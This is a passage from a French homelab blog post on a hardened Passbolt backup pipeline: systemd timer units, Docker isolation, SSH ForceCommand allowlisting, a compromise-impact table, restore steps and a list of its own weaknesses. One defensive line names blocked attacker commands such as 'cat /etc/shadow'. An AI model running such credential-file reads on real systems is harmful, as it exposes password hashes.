<li class=""><strong><code>Requires=docker.service</code></strong> + <strong><code>After=docker.service</code></strong> : <code>Requires</code> exprime la dépendance forte (sans Docker, le service ne démarre pas), <code>After</code> exprime l'ordre (Docker doit être prêt avant). Les deux sont nécessaires.</li>
<li class=""><strong><code>WorkingDirectory=</code></strong> : <code>docker compose</code> cherche son <code>docker-compose.yml</code> dans le CWD. Sans ça, il tomberait dans <code>/</code> et planterait.</li>
<li class=""><strong><code>--rm</code></strong> dans <code>ExecStart</code> : le container est supprimé après exécution, pas de trace résiduelle (et donc pas l'export keepass qui traine en local dans le serveur).</li>
<li class=""><strong><code>TimeoutStartSec=600</code></strong> : un backup normal prend 10-15 secondes. 10 minutes c'est très large, mais ça évite qu'un job bloqué tourne indéfiniment.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-timer">Le timer<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#le-timer" class="hash-link" aria-label="Lien direct vers Le timer" title="Lien direct vers Le timer" translate="no">​</a></h3>
<p><code>/etc/systemd/system/passbolt-backup.timer</code> :</p>
<div class="language-ini codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-ini codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Unit</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Description</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">Trigger daily Passbolt KDBX backup</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Timer</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">OnCalendar</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">*-*-* 03:00:00</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Persistent</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">true</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">RandomizedDelaySec</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">5min</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Install</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">WantedBy</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">timers.target</span><br></div></code></pre></div></div>
<ul>
<li class=""><strong><code>OnCalendar=*-*-* 03:00:00</code></strong> : tous les jours à 3h. La syntaxe systemd n'est pas du cron, c'est <code>année-mois-jour heure:minute:seconde</code> avec <code>*</code> comme joker.</li>
<li class=""><strong><code>Persistent=true</code></strong> : si la machine était éteinte à 3h (maintenance, panne courte), le job s'exécute au prochain démarrage. systemd garde une trace du dernier déclenchement réussi dans <code>/var/lib/systemd/timers/</code>.</li>
<li class=""><strong><code>RandomizedDelaySec=5min</code></strong> : jitter aléatoire de 0 à 5 minutes. Évite que tous mes timers tapent simultanément à 3h pile.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="activation">Activation<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#activation" class="hash-link" aria-label="Lien direct vers Activation" title="Lien direct vers Activation" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl daemon-reload</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl </span><span class="token builtin class-name">enable</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--now</span><span class="token plain"> passbolt-backup.timer</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">systemctl list-timers passbolt-backup.timer</span><br></div></code></pre></div></div>
<p>Et pour vérifier la syntaxe du calendrier :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">systemd-analyze calendar </span><span class="token string" style="color:#e3116c">"*-*-* 03:00:00"</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sécurité--approche-en-couches">Sécurité : approche en couches<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#s%C3%A9curit%C3%A9--approche-en-couches" class="hash-link" aria-label="Lien direct vers Sécurité : approche en couches" title="Lien direct vers Sécurité : approche en couches" translate="no">​</a></h2>
<p>C'est la partie qui m'intéresse le plus, parce que c'est là que se trouve la vraie valeur de l'exercice. L'idée est qu'<strong>aucune couche ne doit être indispensable</strong> — la sécurité doit reposer sur la combinaison des couches, pas sur l'efficacité d'une seule.</p>
<!-- -->
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="couche-1--intégrité-de-limage">Couche 1 : intégrité de l'image<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#couche-1--int%C3%A9grit%C3%A9-de-limage" class="hash-link" aria-label="Lien direct vers Couche 1 : intégrité de l'image" title="Lien direct vers Couche 1 : intégrité de l'image" translate="no">​</a></h3>
<p><strong>Multi-stage build</strong> : <code>curl</code> et <code>ca-certificates</code> ne sont présents que dans le stage de fetch. L'image finale ne contient que les binaires strictement nécessaires (<code>rsync</code>, <code>ssh</code>, <code>tini</code>, <code>go-passbolt-cli</code>, et leurs dépendances). Si une CVE sort sur curl, mon image n'est pas concernée.</p>
<p><strong>SHA256 du binaire externe</strong> : c'est gratuit et ça protège contre :</p>
<ul>
<li class="">Une compromission de la release GitHub.</li>
<li class="">Un proxy malveillant entre Docker Hub/GitHub et mon serveur.</li>
<li class="">Un accident de l'éditeur (mauvais binaire poussé).</li>
</ul>
<p>Si le hash change sans que je le sache, le build échoue. Si je veux mettre à jour, je dois explicitement aller chercher le nouveau hash sur GitHub, ce qui m'oblige à vérifier que c'est bien la version officielle.</p>
<p><strong><code>tini</code> comme PID 1</strong> : moins critique pour la sécurité que pour la robustesse, mais évite qu'un signal mal géré laisse un processus en zombie qui mangerait des ressources.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="couche-2--conteneur-en-exécution">Couche 2 : conteneur en exécution<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#couche-2--conteneur-en-ex%C3%A9cution" class="hash-link" aria-label="Lien direct vers Couche 2 : conteneur en exécution" title="Lien direct vers Couche 2 : conteneur en exécution" translate="no">​</a></h3>
<p><strong>One-shot avec <code>--rm</code></strong> : le container vit 10 secondes. Aucune surface d'attaque persistante. Si quelqu'un veut s'y planquer, c'est compliqué.</p>
<p><strong>Secrets en bind-mount avec <code>:ro</code></strong> : les secrets sont sur le host (<code>/opt/docker/passbolt-backup/secrets/</code>), pas dans l'image. L'image peut être pushée sans inclure aucun secret. Et le <code>:ro</code> empêche que le container modifie les secrets — même un code malveillant injecté ne peut pas réécrire la clé PGP pour exfiltrer une nouvelle version.</p>
<p><strong>Permissions du dossier secrets</strong> :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">ls</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-la</span><span class="token plain"> /opt/docker/passbolt-backup/secrets/</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># drwx------ root root  secrets/        ← 700</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># -rw------- root root  gpg_passphrase  ← 600</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># -rw------- root root  kdbx_password   ← 600</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># -rw------- root root  passbolt_privkey.asc</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># -rw------- root root  ssh_id_ed25519</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># -rw-r--r-- root root  ssh_id_ed25519.pub  ← 644, c'est la clé publique</span><br></div></code></pre></div></div>
<p>Seul root peut lire. Le container tourne aussi en root, donc il peut lire. Aucun autre user de la machine n'y accède.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="couche-3--isolement-réseau">Couche 3 : isolement réseau<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#couche-3--isolement-r%C3%A9seau" class="hash-link" aria-label="Lien direct vers Couche 3 : isolement réseau" title="Lien direct vers Couche 3 : isolement réseau" translate="no">​</a></h3>
<p>Détaillé plus haut, mais je résume :</p>
<ul>
<li class=""><strong>Passbolt n'a aucun port exposé sur l'hôte</strong>. Pour le joindre, il faut être sur <code>proxy-net</code> (donc être un container Docker autorisé) ou passer par NPM (donc avoir traversé le reverse proxy avec auth/TLS valide).</li>
<li class=""><strong>MariaDB est sur un réseau <code>internal: true</code></strong>, qui n'a pas de gateway vers Internet. Même compromise, elle ne peut pas exfiltrer de données vers un C2.</li>
<li class=""><strong>Mon container de backup</strong> est aussi sur <code>proxy-net</code> : il peut joindre Passbolt en passant par NPM (résolution DNS via <code>passbolt.homelab.local</code>), mais il ne peut pas joindre MariaDB directement. La seule façon d'extraire des données est l'API Passbolt authentifiée.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="couche-4--authentification">Couche 4 : authentification<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#couche-4--authentification" class="hash-link" aria-label="Lien direct vers Couche 4 : authentification" title="Lien direct vers Couche 4 : authentification" translate="no">​</a></h3>
<p><strong>Auth Passbolt par clé PGP</strong> : <code>go-passbolt-cli</code> s'authentifie en signant un challenge avec la clé PGP du compte de service. Aucun mot de passe applicatif n'est en clair dans les logs ou en variables d'environnement. La passphrase de la clé PGP est elle-même dans un fichier monté <code>:ro</code>.</p>
<p><strong>Compte de service dédié, sans 2FA</strong> : c'est volontaire. Un compte de service qui doit fonctionner sans interaction humaine ne peut pas avoir de 2FA. Pour compenser :</p>
<ul>
<li class="">Clé PGP forte (ed25519 ou RSA 4096).</li>
<li class="">Permissions Passbolt limitées (le compte n'a accès qu'à ce qu'il doit sauvegarder).</li>
<li class="">Audit : toutes les actions de ce compte sont tracées dans Passbolt.</li>
</ul>
<p><strong>Clé SSH ed25519</strong> : plus moderne, plus rapide, et clés/signatures plus courtes que RSA 4096. Sans passphrase (parce qu'une passphrase stockée à côté de la clé ne protège rien — quiconque a accès à la clé a accès à la passphrase).</p>
<p><strong>Mot de passe KDBX différent de Passbolt</strong> : c'est le point « poule-œuf ». Si je met le même mot de passe que mon compte Passbolt, alors :</p>
<ol>
<li class="">Passbolt tombe.</li>
<li class="">J'ai mon KDBX de backup.</li>
<li class="">Le mot de passe pour l'ouvrir est dans... Passbolt. Qui est tombé.</li>
</ol>
<p>Le mot de passe KDBX est donc :</p>
<ul>
<li class="">Différent du master Passbolt.</li>
<li class="">Stocké séparément (dans ma tête + dans un coffre physique offline).</li>
<li class="">Long et complexe.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="couche-5--côté-nextcloud">Couche 5 : côté Nextcloud<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#couche-5--c%C3%B4t%C3%A9-nextcloud" class="hash-link" aria-label="Lien direct vers Couche 5 : côté Nextcloud" title="Lien direct vers Couche 5 : côté Nextcloud" translate="no">​</a></h3>
<p><strong><code>rrsync -wo</code></strong> : la clé SSH peut uniquement écrire dans <code>Passbolt-Backups/</code>. Pas de lecture, pas d'accès aux autres dossiers Nextcloud.</p>
<p><strong>Allowlist via <code>forcecommand.sh</code></strong> : seules <code>rsync</code>, <code>nc-rotate</code> et <code>nc-scan</code> sont acceptées. Un attaquant qui aurait la clé ne peut pas faire <code>ssh ... ls /</code> ou <code>ssh ... cat /etc/shadow</code>.</p>
<p><strong><code>no-pty</code></strong> : pas de shell interactif. Même en supposant un bug dans le wrapper, pas de fallback vers <code>bash</code>.</p>
<p><strong>sudoers minimal</strong> : <code>passbolt-backup</code> ne peut sudo qu'une commande très précise vers <code>www-data</code>. Pas d'escalade vers root.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="synthèse--que-se-passe-t-il-si-x-est-compromis-">Synthèse : que se passe-t-il si X est compromis ?<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#synth%C3%A8se--que-se-passe-t-il-si-x-est-compromis-" class="hash-link" aria-label="Lien direct vers Synthèse : que se passe-t-il si X est compromis ?" title="Lien direct vers Synthèse : que se passe-t-il si X est compromis ?" translate="no">​</a></h3>
<table><thead><tr><th>Compromission</th><th>Impact maximal</th></tr></thead><tbody><tr><td>Clé SSH volée</td><td>Dépôt de fichiers dans <code>Passbolt-Backups/</code> + déclenchement <code>nc-rotate</code> (qui peut au pire supprimer les backups). Pas d'accès à autre chose sur Nextcloud.</td></tr><tr><td>Clé PGP du compte de service volée</td><td>Extraction de la base Passbolt — <strong>mais</strong> il faut aussi la passphrase, qui est dans un fichier sur le host.</td></tr><tr><td>Container backup compromis pendant son run</td><td>Accès à Passbolt en lecture (via le compte de service) et à <code>Passbolt-Backups/</code> en écriture. Mais le container vit 10s puis disparaît.</td></tr><tr><td>Host <code>docker01</code> root compromis</td><td>Game over de toute façon, c'est le scénario du pire à n'importe quel niveau. C'est pour ça que <code>docker01</code> lui-même a son propre durcissement (firewall, fail2ban, MAJ auto, audit).</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="flux-dexécution-complet">Flux d'exécution complet<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#flux-dex%C3%A9cution-complet" class="hash-link" aria-label="Lien direct vers Flux d'exécution complet" title="Lien direct vers Flux d'exécution complet" translate="no">​</a></h2>
<p>Pour résumer ce qui se passe chaque nuit à 3h :</p>
<!-- -->
<p>Durée totale typique : <strong>8 à 15 secondes</strong>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="procédures-opérationnelles">Procédures opérationnelles<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#proc%C3%A9dures-op%C3%A9rationnelles" class="hash-link" aria-label="Lien direct vers Procédures opérationnelles" title="Lien direct vers Procédures opérationnelles" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="vérifier-quun-backup-sest-bien-passé">Vérifier qu'un backup s'est bien passé<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#v%C3%A9rifier-quun-backup-sest-bien-pass%C3%A9" class="hash-link" aria-label="Lien direct vers Vérifier qu'un backup s'est bien passé" title="Lien direct vers Vérifier qu'un backup s'est bien passé" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Quand est le prochain déclenchement ? Quand était le dernier ?</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl list-timers passbolt-backup.timer</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Logs des dernières 24h</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> journalctl </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> passbolt-backup.service </span><span class="token parameter variable" style="color:#36acaa">--since</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"24 hours ago"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Statut du dernier run</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl status passbolt-backup.service</span><br></div></code></pre></div></div>
<p>Sortie attendue :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">● passbolt-backup.service - Passbolt KDBX backup to Nextcloud</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">     Loaded: loaded (/etc/systemd/system/passbolt-backup.service; static)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">     Active: inactive (dead) since Tue 2026-05-12 03:00:13 UTC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    Process: 12345 ExecStart=/usr/bin/docker compose run --rm backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">             (code=exited, status=0/SUCCESS)</span><br></div></code></pre></div></div>
<p>Et côté Nextcloud :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">ssh</span><span class="token plain"> root@10.1.2.67 </span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"ls -la /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups/ | grep '\.kdbx$' | wc -l"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Doit retourner ≤ 30</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclencher-un-backup-manuel">Déclencher un backup manuel<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#d%C3%A9clencher-un-backup-manuel" class="hash-link" aria-label="Lien direct vers Déclencher un backup manuel" title="Lien direct vers Déclencher un backup manuel" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl start passbolt-backup.service</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> journalctl </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> passbolt-backup.service </span><span class="token parameter variable" style="color:#36acaa">-f</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="restaurer-en-cas-de-désastre">Restaurer en cas de désastre<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#restaurer-en-cas-de-d%C3%A9sastre" class="hash-link" aria-label="Lien direct vers Restaurer en cas de désastre" title="Lien direct vers Restaurer en cas de désastre" translate="no">​</a></h3>
<ol>
<li class="">Récupérer le dernier KDBX :<!-- -->
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">scp</span><span class="token plain"> passbolt-backup@10.1.2.67:Passbolt-Backups/passbolt-backup_*.kdbx </span><span class="token builtin class-name">.</span><br></div></code></pre></div></div>
<!-- -->(ou via l'interface Nextcloud).</li>
<li class="">Ouvrir avec KeePassXC. Mot de passe : celui défini dans <code>kdbx_password</code> (et stocké séparément, <em>cf.</em> couche 4).</li>
<li class="">Toutes les ressources Passbolt sont dans le KDBX, organisées par groupes.</li>
<li class="">Reconstruire Passbolt à neuf si besoin, puis ré-importer manuellement les credentials critiques.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="limitations-connues-et-améliorations-possibles">Limitations connues et améliorations possibles<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#limitations-connues-et-am%C3%A9liorations-possibles" class="hash-link" aria-label="Lien direct vers Limitations connues et améliorations possibles" title="Lien direct vers Limitations connues et améliorations possibles" translate="no">​</a></h2>
<p>Je ne prétends pas que c'est parfait. Quelques points faibles que j'ai identifiés :</p>
<table><thead><tr><th>Limitation</th><th>Solution envisagée</th></tr></thead><tbody><tr><td><code>--tlsSkipVerify</code> actif</td><td>Récupérer la CA NPM et la monter dans <code>/etc/ssl/certs/</code> du container. À faire dans un v0.2.</td></tr><tr><td><code>known_hosts</code> non persistant</td><td>Bind-mount un <code>known_hosts</code> figé contenant la clé du Nextcloud.</td></tr><tr><td>Pas d'alerting en cas d'échec</td><td>Ajouter une unit <code>OnFailure=passbolt-backup-failure.service</code> qui envoie un mail/notification.</td></tr><tr><td>KDBX non chiffré au-delà de son propre mot de passe</td><td>Le KDBX est déjà chiffré par lui-même (AES-256), mais on pourrait ajouter une couche GPG pour le repos. Discutable : ça ajoute un point de défaillance.</td></tr><tr><td>Pas de test de restauration automatique</td><td>Script qui ouvre le KDBX avec <code>keepassxc-cli</code> après chaque backup pour vérifier l'intégrité.</td></tr><tr><td>Dépendance à <code>go-passbolt-cli</code></td><td>Suivre les releases. Si le projet meurt, fallback sur <code>mysqldump</code> + extraction manuelle des clés serveur.</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="commandes-de-référence-rapide">Commandes de référence rapide<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#commandes-de-r%C3%A9f%C3%A9rence-rapide" class="hash-link" aria-label="Lien direct vers Commandes de référence rapide" title="Lien direct vers Commandes de référence rapide" translate="no">​</a></h2>
<table><thead><tr><th>Action</th><th>Commande</th></tr></thead><tbody><tr><td>Statut du timer</td><td><code>sudo systemctl list-timers passbolt-backup.timer</code></td></tr><tr><td>Logs du dernier run</td><td><code>sudo journalctl -u passbolt-backup.service --since "24 hours ago"</code></td></tr><tr><td>Backup manuel</td><td><code>sudo systemctl start passbolt-backup.service</code></td></tr><tr><td>Suivre en temps réel</td><td><code>sudo journalctl -u passbolt-backup.service -f</code></td></tr><tr><td>Recharger systemd</td><td><code>sudo systemctl daemon-reload</code></td></tr><tr><td>Activer le timer</td><td><code>sudo systemctl enable --now passbolt-backup.timer</code></td></tr><tr><td>Désactiver le timer</td><td><code>sudo systemctl disable --now passbolt-backup.timer</code></td></tr><tr><td>Builder l'image</td><td><code>cd /opt/docker/passbolt-backup/build &amp;&amp; docker build -t passbolt-backup:0.1 .</code></td></tr><tr><td>Valider le calendrier</td><td><code>systemd-analyze calendar "*-*-* 03:00:00"</code></td></tr><tr><td>Vérifier les secrets</td><td><code>sudo ls -la /opt/docker/passbolt-backup/secrets/</code></td></tr><tr><td>Vérifier le setgid</td><td><code>ls -ld /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups/</code></td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#conclusion" class="hash-link" aria-label="Lien direct vers Conclusion" title="Lien direct vers Conclusion" translate="no">​</a></h2>
<p>Ce qui rendait l'exercice intéressant, ce n'était pas tant de « faire tourner un backup », c'était d'empiler les bonnes couches pour qu'aucun point unique de défaillance ne mette en danger la sauvegarde — et que la sauvegarde elle-même ne devienne pas un nouveau vecteur d'attaque.</p>
<p>Les principes que je retiens et que je réutiliserai pour d'autres projets :</p>
<ul>
<li class=""><strong>Container one-shot piloté par systemd</strong> plutôt que cron : meilleurs logs, meilleures dépendances, meilleur diagnostic.</li>
<li class=""><strong>Multi-stage Docker build</strong> systématique pour les outils dont l'installation nécessite des binaires externes.</li>
<li class=""><strong>Réseau Docker dédié</strong> entre reverse-proxy et services, jamais d'exposition de port directe.</li>
<li class=""><strong><code>internal: true</code></strong> pour les bases de données : si elle n'a pas besoin d'Internet, retire-le lui.</li>
<li class=""><strong><code>ForceCommand</code> + allowlist</strong> : on ne donne jamais juste « accès SSH », on donne accès à une liste précise de commandes.</li>
<li class=""><strong><code>rrsync -wo</code></strong> : la destination ne doit pas pouvoir relire les anciens backups.</li>
<li class=""><strong>Mot de passe de la sauvegarde ≠ mot de passe de la source</strong> : casse le scénario poule-œuf.</li>
<li class=""><strong>Bit setgid</strong> : la solution propre quand un dossier est partagé entre plusieurs utilisateurs systèmes.</li>
</ul>
<p>Et au final, l'effort de réflexion compte plus que le code. Quand le jour J arrivera (parce qu'il arrivera), c'est la confiance dans la chaîne complète qui me permettra de restaurer sereinement.</p>
<p>C'est toujours un petit kiff de faire ce genre de chose, on recherche toujours plus loin, on trouve toujours de nouveaux problèmes à résoudre pour au final découvrir un peu plus un outil pourtant utilisé quotidiennement : Linux...
C'est ça que j'adore dans l'informatique, on a 50 manières de faire la même chose, j'aurais pu le faire en cron, mais avec ses inconvénients. C'est en comparant chauqe outil / solution qu'on trouve son bonheur afin de faire quelque chose qui nous convient.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="a-une-prochaine-fois-">A une prochaine fois !<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#a-une-prochaine-fois-" class="hash-link" aria-label="Lien direct vers A une prochaine fois !" title="Lien direct vers A une prochaine fois !" translate="no">​</a></h2>
<p><strong>Ressources utiles</strong> :</p>
<ul>
<li class=""><a href="https://github.com/passbolt/go-passbolt-cli" target="_blank" rel="noopener noreferrer" class="">Documentation officielle <code>go-passbolt-cli</code></a></li>
<li class=""><a href="https://www.passbolt.com/self-hosting" target="_blank" rel="noopener noreferrer" class="">Passbolt Self-Hosted</a></li>
<li class=""><a href="https://wiki.archlinux.org/title/Systemd/Timers" target="_blank" rel="noopener noreferrer" class="">Systemd Timers (Arch Wiki)</a></li>
<li class=""><a href="https://github.com/RsyncProject/rsync/blob/master/support/rrsync" target="_blank" rel="noopener noreferrer" class=""><code>rrsync</code> upstream script</a></li>
<li class=""><a href="https://nginxproxymanager.com/" target="_blank" rel="noopener noreferrer" class="">Nginx Proxy Manager</a></li>
</ul>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Système" term="Système"/>
        <category label="Linux" term="Linux"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Les réseaux Proxmox]]></title>
        <id>https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox</id>
        <link href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox"/>
        <updated>2026-04-26T00:00:00.000Z</updated>
